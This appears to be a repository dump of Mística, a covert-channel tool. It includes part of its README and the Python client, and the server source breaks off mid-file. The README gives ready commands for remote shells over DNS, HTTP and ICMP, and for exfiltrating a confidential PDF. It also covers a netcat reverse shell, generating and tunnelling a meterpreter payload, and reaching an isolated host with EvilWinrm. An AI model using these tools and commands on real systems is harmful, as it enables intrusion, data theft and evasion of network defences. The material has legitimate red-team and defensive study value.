--wrapper-args WRAPPER_ARGS\n                        args for the selected overlay module\n  -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS\n                        args for the selected wrapper module\n  -v, --verbose         Level of verbosity in logger (no -v None, -v Low, -vv\n                        Medium, -vvv High)\n\n```\n\n### Parameters\n\n- `-l, --list` is used to either list `all` modules, only list one type: (`overlays` or `wrappers`) or list the parameters that a certain module can accept through `-o`, `-w` or `-s`.\n- `-k, --key` is used to specify the key that will be used to encrypt the overlay communication. This must be the same in client and server and is currently mandatory. This may change in the future if secret-sharing schemes are implemented.\n- `-m, --modules` is used to specify which module pair do you want to use. You must use the following format: **overlay_module** + **:** + **wrap_module**. This parameter is also mandatory.\n- `-w, --wrapper-args` allows you to specify a particular configuration for the wrap module.\n- `-o, --overlay-args` allows you to specify a particular configuration for the overlay module.\n- `-s, --wrap-server-args` is only present on `ms.py`. It allows you to specify a particular configuration for the wrap server. Each wrap module has a dependency on a wrap server, and both configurations can be tuned\n\n\n\n## Examples and Advanced use\n\n> Remember that you can see all of the accepted parameters of a module by typing `-l <module_name>` (e.g `./ms.py -l dns`). Also remember to use a long and complex key to protect your communications!\n\n### HTTP\n\nIn order to illustrate the different methods of HTTP encapsulation, the IO redirection overlay module (`io`) will be used for every example.\n\n- HTTP GET method with b64 encoding in the default URI, using localhost and port 8080 (default values).\n  - Mística Server: `./ms.py -m io:http -k \"rc4testkey\"`\n  - Mística Client:  `./mc.py -m io:http -k \"rc4testkey\"`\n- HTTP GET method with b64 encoding in the default URI, **specifying IP address and port**.\n  - Mística Server: `./ms.py -m io:http -k \"rc4testkey\" -s \"--hostname x.x.x.x --port 10000\"`\n  - Mística Client:  `./mc.py -m io:http -k \"rc4testkey\" -w \"--hostname x.x.x.x --port 10000\"`\n- HTTP GET method with b64 encoding in **custom URI**, using localhost and port 8080 (default values).\n  - Mística Server: `./ms.py -m io:http -k \"rc4testkey\" -w \"--uri /?token=\"`\n  - Mística Client:  `./mc.py -m io:http -k \"rc4testkey\" -w \"--uri /?token=\"`\n- HTTP GET method with b64 encoding in **custom header**, using localhost and port 8080 (default values).\n  - Mística Server: `./ms.py -m io:http -k \"rc4testkey\" -w \"--header laravel_session\"`\n  - Mística Client:  `./mc.py -m io:http -k \"rc4testkey\" -w \"--header laravel_session\"`\n- HTTP **POST** method with b64 encoding in default field, using localhost and port 8080 (default values).\n  - Mística Server: `./ms.py -m io:http -k \"rc4testkey\" -w \"--method POST\"`\n  - Mística Client:  `./mc.py -m io:http -k \"rc4testkey\" -w \"--method POST\"`\n- HTTP **POST** method with b64 encoding in **custom header**, using localhost and port 8080 (default values).\n  - Mística Server: `./ms.py -m io:http -k \"rc4testkey\" -w \"--method POST --header Authorization\"`\n  - Mística Client:  `./mc.py -m io:http -k \"rc4testkey\" -w \"--method POST --header Authorization\"`\n- HTTP **POST** method with b64 encoding in **custom field**, using localhost and port 8080 (default values).\n  - Mística Server: `./ms.py -m io:http -k \"rc4testkey\" -w \"--method POST --post-field data\"`\n  - Mística Client: `./mc.py -m io:http -k \"rc4testkey\" -w \"--method POST --post-field data\"`\n- HTTP **POST** method with b64 encoding in **custom field, with custom packet size, custom retries, custom timeout and sepcifying IP and port**:\n  - Mística Server: `./ms.py -m io:http -k \"rc4testkey\" -w \"--method POST --post-field data --max-size 30000 --max-retries 10\" -s \"--hostname 0.0.0.0 --port 8088 --timeout 30\"`\n  - Mística Client: `./mc.py -m io:http -k \"rc4testkey\" -w \"--method POST --post-field data --max-size 30000 --max-retries 10 --poll-delay 10 --response-timeout 30 --hostname x.x.x.x --port 8088\"`\n- HTTP **POST** method with b64 encoding in **custom field**, **using a custom error template**, using localhost and port 8080 (default values).\n  - Mística Server: `./ms.py -m io:http -k \"rc4testkey\" -w \"--method POST --post-field data\" -s \"--error-file /tmp/custom_error_template.html --error-code 408\"`\n  - Mística Client: `./mc.py -m io:http -k \"rc4testkey\" -w \"--method POST --post-field data\"`\n- HTTP GET method with b64 encoding in the default URI, using **custom HTTP response code** and using localhost and port 8080 (default values):\n  - Mística Server: `./ms.py -m io:http -k \"rc4testkey\" -w \"--success-code 302\"`\n  - Mística Client: `./mc.py -m io:http -k \"rc4testkey\" -w \"--success-code 302\"`\n- HTTPS GET method with b64 encoding in the default URI using 443 port. A certificate must be generated in Mistica Server to use the ssl option, the Mistica Client only needs to receive the ssl flag:\n  - Mística Server:\n      - `openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes`\n      - `sudo ./ms.py -m io:http -k \"rc4testkey\" -s \"--port 443 --ssl --ssl-cert server.pem\"`\n  - Mística Client: `./mc.py -m io:http -k \"rc4testkey\" -w \"--ssl --port 443\"`\n- HTTP GET method with b64 encoding in the default URI, using proxy server in Mistica Client (can be used in environments where HTTP communication must necessarily pass through a corporate proxy, which is not specified in the computer configuration). Test the following example with Burpsuite:\n  - Mística Server: `./ms.py -m io:http -k \"rc4testkey\" -s \"--port 8000 --timeout 30\"`\n  - Mística Client:  `./mc.py -m io:http -k \"rc4testkey\" -w \"--proxy 127.0.0.1:8080 --port 8000 --poll-delay 30 --response-timeout 30\"`\n\n### DNS\n\nIn order to illustrate the different methods of DNS encapsulation, the IO redirection overlay module (`io`) will be used for every example.\n\n- TXT query, using localhost and port 5353 (default values):\n  - Mística Server: `./ms.py -m io:dns -k \"rc4testkey\"`\n  - Mística Client:  `./mc.py -m io:dns -k \"rc4testkey\"`\n- NS query, using localhost and port 5353 (default values):\n  - Mística Server: `./ms.py -m io:dns -k \"rc4testkey\" -w \"--queries NS\"`\n  - Mística Client:  `./mc.py -m io:dns -k \"rc4testkey\" -w \"--query NS\"`\n- CNAME query, using localhost and port 5353 (default values):\n  - Mística Server: `./ms.py -m io:dns -k \"rc4testkey\" -w \"--queries CNAME\"`\n  - Mística Client:  `./mc.py -m io:dns -k \"rc4testkey\" -w \"--query CNAME\"`\n- MX query, using localhost and port 5353 (default values):\n  - Mística Server: `./ms.py -m io:dns -k \"rc4testkey\" -w \"--queries MX\"`\n  - Mística Client:  `./mc.py -m io:dns -k \"rc4testkey\" -w \"--query MX\"`\n- SOA query, using localhost and port 5353 (default values):\n  - Mística Server: `./ms.py -m io:dns -k \"rc4testkey\" -w \"--queries SOA\"`\n  - Mística Client:  `./mc.py -m io:dns -k \"rc4testkey\" -w \"--query SOA\"`\n- TXT query, using localhost and port 5353 (default values) and **custom domains**:\n  - Mística Server: `./ms.py -m io:dns -k \"rc4testkey\" -w \"--domains mistica.dev sotp.es\"`\n  - Mística Client:  \n      - `./mc.py -m io:dns -k \"rc4testkey\" -w \"--domain sotp.es\"`\n      - `./mc.py -m io:dns -k \"rc4testkey\" -w \"--domain mistica.dev\"`\n- TXT query, specifying port and hostname:\n  - Mística Server: `./ms.py -m io:dns -k \"rc4testkey\" -s \"--hostname 0.0.0.0 --port 1337\"`\n  - Mística Client:  `./mc.py -m io:dns -k \"rc4testkey\" -w \"--hostname x.x.x.x --port 1337\"`\n- TXT query, using multiple subdomains:\n  - Mística Server: `./ms.py -m io:dns -k \"rc4testkey\"`\n  - Mística Client:  `./mc.py -m io:dns -k \"rc4testkey\" -w \"--multiple --max-size 169\"`\n\n### ICMP\n\nThe Linux kernel, when it receives an icmp echo request package, by default automatically responds with an icmp echo reply package (without giving us any option to reply). That's why we have to disable icmp responses to be able to send our own with data that differs from that sent by the client. To do this, we do the following:\n\nDisable automatic icmp responses by the kernel (*root required*) editing `/etc/sysctl.conf` file:\n\n- Add the following line to your /etc/sysctl.conf:\n\n```\nnet.ipv4.icmp_echo_ignore_all=1\n```\n\n- Then, run: `sysctl -p` to take effect.\n\nNow, in order to illustrate the different methods of ICMP encapsulation, the IO redirection overlay module (`io`) will be used for every example.\n\n- ICMP Data Section, using interface eth0:\n  - Mística Server: `./ms.py -m io:icmp -k \"rc4testkey\" -s \"--iface eth0\"`\n  - Mística Client:  `./mc.py -m io:icmp -k \"rc4testkey\" -w \"--hostname x.x.x.x\"`\n\n### Shell and IO\n\nYou can get remote command execution using mística over a custom channel, by combining `io` and `shell` modules. Examples:\n\n- Executing commands on client system over DNS using TXT query.\n    - Mística Server: `sudo ./ms.py -m io:dns -k \"rc4testkey\" -s \"--hostname x.x.x.x  --port 53\"`\n    - Mística Client: `./mc.py -m shell:dns -k \"rc4testkey\" -w \"--hostname x.x.x.x --port 53\"`\n\n- Executing commands on server system over HTTP using GET requests:\n    - Mística Server: `./ms.py -m shell:http -k \"rc4testkey\" -s \"--hostname x.x.x.x  --port 8000\"`\n    - Mística Client: `./mc.py -m io:http -k \"rc4testkey\" -w \"--hostname x.x.x.x --port 8000\"`\n\n- Executing commands on client system over ICMP:\n    - Mística Server: `./ms.py -m io:icmp -k \"rc4testkey\" -s \"--iface eth0\"`\n    - Mística Client: `./mc.py -m shell:icmp -k \"rc4testkey\" -w \"--hostname x.x.x.x\"`\n\n- Exfiltrating files via HTTP using the IO module and redirect operators:\n    - Mística Server: `./ms.py -m io:http -s \"--hostname 0.0.0.0 --port 80\" -k \"rc4testkey\" -vv > confidential.pdf`\n    - Mística Client (**important to run from the cmd**): `type confidential.pdf | E:\\Mistica\\WPy64-3741\\python-3.7.4.amd64\\python.exe .\\mc.py -m io:http -w \"--hostname x.x.x.x --port 80\" -k \"rc4testkey\" -vv`\n\n### Port forwarding with tcpconnect and tcplisten\n\n- Remote port forwarding (seen from server) over HTTP. Address `127.0.0.1:4444` on the client will be forwarded to address `127.0.0.1:5555` on the server. There must be already something listening on `5555`.\n    - Mística Server: `./ms.py -m tcpconnect:http -k \"rc4testkey\" -s \"--hostname x.x.x.x  --port 8000\" -o \"--address 127.0.0.1 --port 5555\"`\n    - Mística Client: `./mc.py -m tcplisten:http -k \"rc4testkey\" -w \"--hostname x.x.x.x --port 8000\" -o \"--address 127.0.0.1 --port 4444\"`\n- Local port forwarding (seen from server) over DNS. Address `127.0.0.1:4444` on the server will be forwarded to address `127.0.0.1:5555` on the client. There must be already something listening on `5555`.\n    - Mística Server: `sudo ./ms.py -m tcplisten:dns -k \"rc4testkey\" -s \"--hostname x.x.x.x  --port 53\" -o \"--address 127.0.0.1 --port 4444\"`\n    - Mística Client: `./mc.py -m tcpconnect:dns -k \"rc4testkey\" -w \"--hostname x.x.x.x --port 53\" -o \"--address 127.0.0.1 --port 5555\"`\n- HTTP reverse shell using netcat on linux client.\n    - Netcat Listener (on server): `nc -nlvp 5555`\n    - Mística Server: `./ms.py -m tcpconnect:http -k \"rc4testkey\" -s \"--hostname x.x.x.x  --port 8000\" -o \"--address 127.0.0.1 --port 5555\"`\n    - Mística Client: `./mc.py -m tcplisten:http -k \"rc4testkey\" -w \"--hostname x.x.x.x --port 8000\" -o \"--address 127.0.0.1 --port 4444\"`\n    - Netcat Shell (on linux client): `ncat -nve /bin/bash 127.0.0.1 4444`\n- Running `meterpreter_reverse_tcp` (linux) over DNS using port forwarding. Payload generated with `msfvenom -p linux/x64/meterpreter_reverse_tcp LPORT=4444 LHOST=127.0.0.1 -f elf -o meterpreter_reverse_tcp_localhost_4444.bin`\n    - Run `msfconsole` on server and launch handler with: `handler -p linux/x64/meterpreter_reverse_tcp -H 127.0.0.1 -P 5555`\n    - Mística Server: `sudo ./ms.py -m tcpconnect:dns -k \"rc4testkey\" -s \"--hostname x.x.x.x  --port 53\" -o \"--address 127.0.0.1 --port 5555\"`\n    - Mística Client: `./mc.py -m tcplisten:dns -k \"rc4testkey\" -w \"--hostname x.x.x.x --port 53\" -o \"--address 127.0.0.1 --port 4444\"`\n    - Run meterpreter on client: `./meterpreter_reverse_tcp_localhost_4444.bin`\n- [EvilWinrm](https://github.com/Hackplayers/evil-winrm) over ICMP using a jumping machine to access an isolated machine.\n    - Mistica Server: `./ms.py -m tcplisten:icmp -s \"--iface eth0\" -k \"rc4testkey\" -o \"--address 127.0.0.1 --port 5555 --persist\" -vv`\n    - Mistica Client: `python.exe .\\mc.py -m tcpconnect:icmp -w \"--hostname x.x.x.x\" -k \"rc4testkey\" -o \"--address x.x.x.x --port 5985 --persist\" -vv`\n    - EvilWinrm Console (on C2 machine): `evil-winrm -u Administrador -i 127.0.0.1 -P 5555`\n\n## Docker\n\nA Docker image has been created for local use. This avoids us having to install Python or dnslib only if we want to test the tool, it is also very interesting for debug or similar because we avoid the noise generated by other local applications. To build it we simply follow these steps:\n\n* First build image with:\n```\nsudo docker build --tag mistica:latest .\n```\n* Second, create the network with:\n```\nsudo docker network create misticanw\n```\n* Third run the server with:\n```\nsudo docker run --network misticanw --sysctl net.ipv4.icmp_echo_ignore_all=1 -v $(pwd):/opt/Mistica -it mistica /bin/bash\n```\n* Fourth run the client with:\n```\nsudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash\n```\n\n## How to compile\n\nMística is a tool developed in Python, which means that, theoretically, it can be compiled.\n\nTo compile the tool we will use [Pyinstaller](https://www.pyinstaller.org/), this tool will allow us to generate a binary (depending on the operating system we are in), this means that we can NOT do Cross-compiling as in other languages like C, C++, Golang, Rust, etc. **We are working on a way to make this possible**, however, we leave you with the Pyinstaller command that will allow us to compile Mística in any operating system:\n\n### Compile Mistica Client\n\nAs Mística Client has no dependencies, it can be compiled directly with Pyinstaller. To compile it follow the following steps:\n\n* First, install pyinstaller for Python3.7 or higher:\n\n```\npython3.7 -m pip install pyinstaller --user\n```\n\n* And now, compile Mística Client with the following command:\n\n```\npyinstaller --onefile \\\n  --hiddenimport overlay.client.io \\\n  --hiddenimport overlay.client.shell \\\n  --hiddenimport overlay.client.tcpconnect \\\n  --hiddenimport overlay.client.tcplisten \\\n  --hiddenimport wrapper.client.http \\\n  --hiddenimport wrapper.client.dns \\\n  --hiddenimport wrapper.client.icmp \\\n  --hiddenimport overlay.server.io \\\n  --hiddenimport overlay.server.shell \\\n  --hiddenimport overlay.server.tcpconnect \\\n  --hiddenimport overlay.server.tcplisten \\\n  --hiddenimport wrapper.server.wrap_module.http \\\n  --hiddenimport wrapper.server.wrap_module.dns \\\n  --hiddenimport wrapper.server.wrap_module.icmp \\\n  --hiddenimport wrapper.server.wrap_server.httpserver \\\n  --hiddenimport wrapper.server.wrap_server.dnsserver \\\n  --hiddenimport wrapper.server.wrap_server.icmpserver \\\n  mc.py\n```\n\n### Compile Mistica Server\n\nIf you want to compile Mística Server you need to install, with Pip, Dnslib library in a global (remember that it is the only dependency of Mística, and only for the Mística Server). To do this you need to follow the following steps:\n\n* First, install Python3.7 or higher on your Windows, Linux or Mac system.\n* Second, install, with Pip, the Dnslib library: `pip install dnslib` (without the \"--user\" flag, this way it will be installed globally on the system, otherwise, pyinstaller will not be able to add it as hidden import. This step requires administrator permissions)\n* Thirdly, install, with Pip, the Pyinstaller library: `pip install pyinstaller`.\n* And fourth, compile Mística Server with the following command:\n\n```\npyinstaller --onefile \\\n  --hiddenimport overlay.client.io \\\n  --hiddenimport overlay.client.shell \\\n  --hiddenimport overlay.client.tcpconnect \\\n  --hiddenimport overlay.client.tcplisten \\\n  --hiddenimport wrapper.client.http \\\n  --hiddenimport wrapper.client.dns \\\n  --hiddenimport wrapper.client.icmp \\\n  --hiddenimport overlay.server.io \\\n  --hiddenimport overlay.server.shell \\\n  --hiddenimport overlay.server.tcpconnect \\\n  --hiddenimport overlay.server.tcplisten \\\n  --hiddenimport wrapper.server.wrap_module.http \\\n  --hiddenimport wrapper.server.wrap_module.dns \\\n  --hiddenimport wrapper.server.wrap_module.icmp \\\n  --hiddenimport wrapper.server.wrap_server.httpserver \\\n  --hiddenimport wrapper.server.wrap_server.dnsserver \\\n  --hiddenimport wrapper.server.wrap_server.icmpserver \\\n  --hiddenimport dnslib \\\n  ms.py\n```\n\n\n## Future work\n\n- Cross-Compiling method to be able to compile Mistica for different operating systems without having to do so from the target operating system.\n- Transparent Diffie-Hellman key generation for SOTP protocol\n- Multi-Handler mode: Interactive mode for `ms.py`. This will let the user combine more than one overlay with more than one wrapper and more than one wrap module per wrap server.\n- Module development documentation for custom module development. This is discouraged right now as module specification is still under development.\n- Next modules:\n    - SMB wrapper\n    - RAT and RAT handler overlay\n    - SOCKS proxy and dynamic port forwarding overlay\n    - File Transfer overlay\n    - RDP wrapper\n- Custom HTTP templates for more complex encapsulation\n- SOTP protocol specification documentation for custom clients or servers. This is discouraged right now as the protocol is still under development.\n\n## Authors and license\n\nThis project has been developed by Carlos Fernández Sánchez and Raúl Caro Teixidó. The code is released under the GNU General Public License v3.\n\nThis project uses third-party open-source code, particularly:\n\n- [Bitstring](https://github.com/scott-griffiths/bitstring) developed by Scott Griffiths.\n- [A RC4 binary-safe](https://github.com/DavidBuchanan314/rc4) developed by David Buchanan.\n- [A DNS Client without dependencies](https://github.com/vlasebian/simple-dns-client) developed by Vlad Vitan.\n- [A ICMP Server and Client without dependencies](https://github.com/rcaroncd/ICMPack/) developed by Raul Caro."
  },
  {
    "path": "logs/.gitkeep",
    "content": ""
  },
  {
    "path": "mc.py",
    "content": "#!/usr/bin/python3.7\n#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\n\nfrom argparse import ArgumentParser\nfrom threading import Thread, Semaphore\nfrom queue import Queue, Empty\nfrom importlib import import_module\nfrom sotp.clientworker import ClientWorker\nfrom utils.messaging import Message, SignalType, MessageType\nfrom utils.logger import Log\nfrom time import sleep\nfrom sys import exit, stdin\nfrom platform import system\nfrom signal import signal, SIGINT\nfrom utils.prompt import Prompt\nif system() != \"Windows\":\n    from select import poll, POLLIN\nfrom sotp.misticathread import ClientOverlay, ClientWrapper\nfrom wrapper.client import *\nfrom overlay.client import *\n\nclass MisticaClient(object):\n\n    def __init__(self, key, args, verbose):\n        self.name = type(self).__name__\n        self.wrapper = None\n        self.overlay = None\n        self.qsotp = Queue()\n        self.qdata = Queue()\n        self.sem = Semaphore(1)\n        self.sotp_sem = Semaphore(1)\n        self.released = False\n        # Overlay and Wrapper args\n        self.overlayname = args[\"overlay\"]\n        self.wrappername = args[\"wrapper\"]\n        self.overlayargs = args[\"overlay_args\"]\n        self.wrapperargs = args[\"wrapper_args\"]\n        # Mistica Client args\n        self.key = key\n        # Arguments depended of overlay used\n        self.tag = None\n        # Arguments depended of wrapper used\n        self.max_size = None\n        self.poll_delay = None\n        self.response_timeout = None\n        self.max_retries = None\n        # Logger parameters\n        self.logger = Log('_client', verbose) if verbose > 0 else None\n        self._LOGGING_ = False if self.logger is None else True\n\n\n    def doWrapper(self):\n        self.sem.acquire()\n        self._LOGGING_ and self.logger.info(f\"[Wrapper] Initializing...\")\n        self.wrapper = [x for x in ClientWrapper.__subclasses__() if x.NAME == self.wrappername][0](self.qsotp, self.wrapperargs, self.logger)\n        self.wrapper.start()\n        # setting sotp arguments depending on the wrapper to be used\n        self.max_size = self.wrapper.max_size\n        self.response_timeout = self.wrapper.response_timeout\n        self.poll_delay = self.wrapper.poll_delay\n        self.max_retries = self.wrapper.max_retries\n        self.sem.release()\n\n\n    def doSotp(self):\n        try:\n            self.sem.acquire()\n            self._LOGGING_ and self.logger.info(f\"[{self.name}] Initializing...\")\n            self.sem.release()\n            self.sotp_sem.acquire()\n            i = 1\n            s = ClientWorker(self.key,\n                        self.max_retries,\n                        self.max_size,\n                        self.tag,\n                        self.overlayname,\n                        self.wrappername,\n                        self.qdata,\n                        self.logger)\n            dataThread = Thread(target=s.dataEntry, args=(self.qsotp,))\n            dataThread.start()\n            while not s.exit:\n                answers = []\n                self._LOGGING_ and self.logger.debug(f\"[{self.name}] Iteration nº{i} Status: {s.st} Seq: {s.seqnumber}/65535\")\n\n                if s.wait_reply:\n                    timeout = self.response_timeout\n                else:\n                    timeout = self.poll_delay\n                try:\n                    dataEntry = self.qsotp.get(True,timeout)\n                    answers = s.Entrypoint(dataEntry)\n                except Empty:\n                    if s.wait_reply:\n                        answers = s.lookForRetries()\n                    else:\n                        answers = s.getPollRequest()\n\n                for answer in answers:\n                    self._LOGGING_ and self.logger.debug(f\"[{self.name}] Header Sent: {answer.printHeader()}\")\n                    if answer.receiver == self.wrapper.name:\n                        self._LOGGING_ and self.logger.debug_all(f\"[{self.name}] Retries {s.retries}/{self.max_retries}\")\n                        self.wrapper.inbox.put(answer)\n                    elif answer.receiver == self.overlay.name:\n                        self.overlay.inbox.put(answer)\n                    else:\n                        raise Exception(f\"Invalid answer to {answer.receiver} in client loop\")\n\n                if self.released == False and s.sotp_first_push:\n                    self._LOGGING_ and self.logger.debug(f\"[{self.name}] Initialized! Unblocked sem\")\n                    self.sotp_sem.release()\n                    self.released = True\n                i += 1\n            pass\n            dataThread.join()\n            self._LOGGING_ and self.logger.info(f\"[DataThread] Terminated\")\n            self._LOGGING_ and self.logger.info(f\"[{s.name}] Terminated\")\n        except Exception as e:\n            print(e)\n            self._LOGGING_ and self.logger.exception(f\"[ClientWorker] Exception in doSotp: {e}\")\n            self.overlay.inbox.put(Message(\"clientworker\", 0, self.overlayname, 0, MessageType.SIGNAL, SignalType.TERMINATE))\n            self.wrapper.inbox.put(Message(\"clientworker\", 0, self.wrappername, 0, MessageType.SIGNAL, SignalType.TERMINATE))\n\n\n    def doOverlay(self):\n        self.sem.acquire()\n        self._LOGGING_ and self.logger.info(f\"[Overlay] Initializing...\")\n        self.overlay = [x for x in ClientOverlay.__subclasses__() if x.NAME == self.overlayname][0](self.qsotp, self.qdata, self.overlayargs, self.logger)\n        self.overlay.start()\n        # setting sotp arguments depending on the overlay to be used\n        self.tag = self.overlay.tag\n        self.sem.release()\n\n\n    def captureInput(self):\n        self.sem.acquire()\n        self._LOGGING_ and self.logger.info(f\"[Input] Initializing...\")\n        self.sem.release()\n        if system() != 'Windows':\n            polling = poll()\n        while True:\n            if self.overlay.exit:\n                break\n            try:\n                if system() == 'Windows':\n                    # Ugly loop for windows\n                    rawdata = stdin.buffer.raw.read(300000)\n                    sleep(0.1)\n                else:\n                    # Nice loop for unix\n                    polling.register(stdin.buffer.raw.fileno(), POLLIN)\n                    polling.poll()\n\n                    rawdata = stdin.buffer.raw.read(300000)\n                    if rawdata == b'':  # assume EOF\n                        self.sotp_sem.acquire()\n                        self._LOGGING_ and self.logger.debug(f\"[Input] SOTP initialized, sending terminate because input recv EOF\")\n                        self.overlay.inbox.put(Message(\"input\", 0, self.overlayname, 0, MessageType.SIGNAL, SignalType.TERMINATE))\n                        self.sotp_sem.release()\n                        break\n\n                if rawdata and len(rawdata) > 0 and self.overlay.hasInput:\n                    self.overlay.inbox.put(Message(\"input\", 0, self.overlayname, 0, MessageType.STREAM, rawdata))\n            except KeyboardInterrupt:\n                self._LOGGING_ and self.logger.debug(\"[Input] CTRL+C detected. Passing to wrapper\")\n                self.overlay.inbox.put(Message(\"input\", 0, self.overlayname, 0, MessageType.SIGNAL, SignalType.TERMINATE))\n                break\n        self._LOGGING_ and self.logger.info(f\"[Input] Terminated\")\n        return\n\n\n    def captureExit(self, signal_received, frame):\n        self._LOGGING_ and self.logger.debug(\"[Input] CTRL+C detected. Passing to overlay\")\n        self.overlay.inbox.put(Message(\"input\", 0, self.overlayname, 0, MessageType.SIGNAL, SignalType.TERMINATE))\n\n\n    def run(self):\n        try:\n            self.doWrapper()\n            self.doOverlay()\n            sotpThread = Thread(target=self.doSotp)\n            sotpThread.start()\n            if self.overlay.hasInput:\n                self.captureInput()\n            else:\n                signal(SIGINT, self.captureExit)\n            # Crappy loop for windows\n            if system() == 'Windows':\n                while not self.overlay.exit:\n                    sleep(0.5)\n            # Nice sync primitive for unix\n            else:\n                sotpThread.join()\n        except Exception as e:\n            self._LOGGING_ and self.logger.exception(f\"Exception at run(): {e}\")\n        finally:\n            self._LOGGING_ and self.logger.debug(f\"[{self.name}] Terminated\")\n\n\nif __name__ == '__main__':\n    parser = ArgumentParser(description=f\"Mistica client.\")\n\n    # Sotp Client arguments.\n    parser.add_argument('-k', \"--key\", action='store', default=\"\",required=False, help=\"RC4 key used to encrypt the comunications\")\n    parser.add_argument(\"-l\", \"--list\", action='store', required=False, help=\"Lists modules or parameters. Options are: all, overlays, wrappers, <overlay name>, <wrapper name>\")\n    # Wrapper and Overlay arguments.\n    parser.add_argument(\"-m\", \"--modules\", action='store', required=False, help=\"Module pair. Format: 'overlay:wrapper'\")\n    parser.add_argument(\"-w\", \"--wrapper-args\", action='store', required=False, default='', help=\"args for the selected overlay module\")\n    parser.add_argument(\"-o\", \"--overlay-args\", action='store', required=False, default='', help=\"args for the selected wrapper module\")\n    parser.add_argument('-v', '--verbose', action='count', default=0, help=\"Level of verbosity in logger (no -v None, -v Low, -vv Medium, -vvv High)\")\n    args = parser.parse_args()\n    moduleargs = {}\n\n    if args.list:\n        # list and quit\n        if args.list == \"all\" or args.list == \"overlays\" or args.list == \"wrappers\":\n            print(Prompt.listModules(\"client\", args.list))\n        else:\n            Prompt.listParameters(\"client\", args.list)\n        exit(0)\n    elif args.modules:\n        if args.key == \"\":\n            print(\"You must suply a key for RC4 encryption. Use -k or --key\")\n            exit(1)\n        moduleargs[\"overlay\"] = args.modules.partition(\":\")[0]\n        moduleargs[\"wrapper\"] = args.modules.partition(\":\")[2]\n        if Prompt.findModule(\"client\", moduleargs[\"overlay\"]) is None:\n            print(f\"Invalid overlay module {moduleargs['overlay']}. Please specify a valid module.\")\n            exit(1)\n        if Prompt.findModule(\"client\", moduleargs[\"wrapper\"]) is None:\n            print(f\"Invalid wrap module {moduleargs['wrapper']}. Please specify a valid module.\")\n            exit(1)\n        moduleargs[\"overlay_args\"] = args.overlay_args\n        moduleargs[\"wrapper_args\"] = args.wrapper_args\n    elif args.overlay_args:\n        print(\"Error: Overlay parameters without overlay module. Please use -m\")\n        exit(1)\n    elif args.wrapper_args:\n        print(\"Error: Wrapper parameters without wrapper module. Please use -m\")\n        exit(1)\n    else:\n        parser.print_help()\n        exit(0)\n\n    c = MisticaClient(args.key,moduleargs,args.verbose)\n    c.run()\n"
  },
  {
    "path": "ms.py",
    "content": "#!/usr/bin/python3.7\n#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística\n# (see https://github.com/IncideDigital/Mistica).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n#\n\nimport argparse\nfrom utils.logger import Log\nfrom utils.messaging import Message, SignalType, MessageType\nfrom sotp.router import Router\nfrom importlib import import_module\nfrom signal import signal, SIGINT\nfrom random import choice\nfrom utils.prompt import Prompt\nfrom sys import exit, stdin\nfrom platform import system\nif system() != \"Windows\":\n    from select import poll, POLLIN\nfrom time import sleep\nfrom sotp.misticathread import ServerOverlay, ServerWrapper\n\nfrom wrapper.server.wrap_module import *\nfrom overlay.server import *\n\nclass MisticaMode:\n    SINGLE = 0\n    MULTI = 1\n\n\nclass ModuleType:\n    WRAP_MODULE = 0\n    WRAP_SERVER = 2\n    OVERLAY = 3\n\n\nclass MisticaServer():\n\n    def __init__(self, mode, key, verbose, moduleargs):\n        # Get args and set attributes\n        self.args = moduleargs\n        # Logger params\n        self.logger = Log('_server', verbose) if verbose > 0 else None\n        self._LOGGING_ = False if self.logger is None else True\n        # init Router\n        self.key = key\n        self.Router = Router(self.key, self.logger)\n        self.Router.start()\n        self.mode = mode\n        self.procid = 0\n        if self.mode == MisticaMode.SINGLE:\n            self.overlayname = self.args[\"overlay\"]\n            self.wrappername = self.args[\"wrapper\"]\n\n    # Checks if the wrap_server of a certain wrap_module is up and running.\n    def dependencyLaunched(self, wmitem):\n        dname = wmitem.SERVER_CLASS\n        for elem in self.Router.wrapServers:\n            if dname == elem.name:\n                return True\n        return False\n\n    # Returns a wrap_module, wrap_server or overlay module\n    def getModuleInstance(self, type, name, args):\n        self.procid += 1\n        if (type == ModuleType.WRAP_MODULE):\n            return [x for x in ServerWrapper.__subclasses__() if x.NAME == name][0](self.procid, self.Router.inbox, args, self.logger)\n        else:\n            return [x for x in ServerOverlay.__subclasses__() if x.NAME == name][0](self.procid, self.Router.inbox, self.mode, args, self.logger)\n\n    def sigintDetect(self, signum, frame):\n        self._LOGGING_ and self.logger.info(\"[Sotp] SIGINT detected\")\n        if (self.mode == MisticaMode.SINGLE):\n            targetoverlay = self.Router.overlayModules[0]\n            targetoverlay.inbox.put(Message('input',\n                                            0,\n                                            self.Router.overlayModules[0].name,\n                                            self.Router.overlayModules[0].id,\n                                            MessageType.SIGNAL,\n                                            SignalType.TERMINATE))\n        else:\n            # TODO: Depends on who's on the foreground\n            pass\n\n    def captureInput(self, overlay):\n        while True:\n            if overlay.exit:\n                break\n            if system() != 'Windows':\n                polling = poll()\n            try:\n                if system() == 'Windows':\n                    # Ugly loop for windows\n                    rawdata = stdin.buffer.raw.read(50000)\n                    sleep(0.1)\n                else:\n                    # Nice loop for unix\n                    polling.register(stdin.buffer.raw.fileno(), POLLIN)\n                    polling.poll()\n\n                    rawdata = stdin.buffer.raw.read(50000)\n                    if 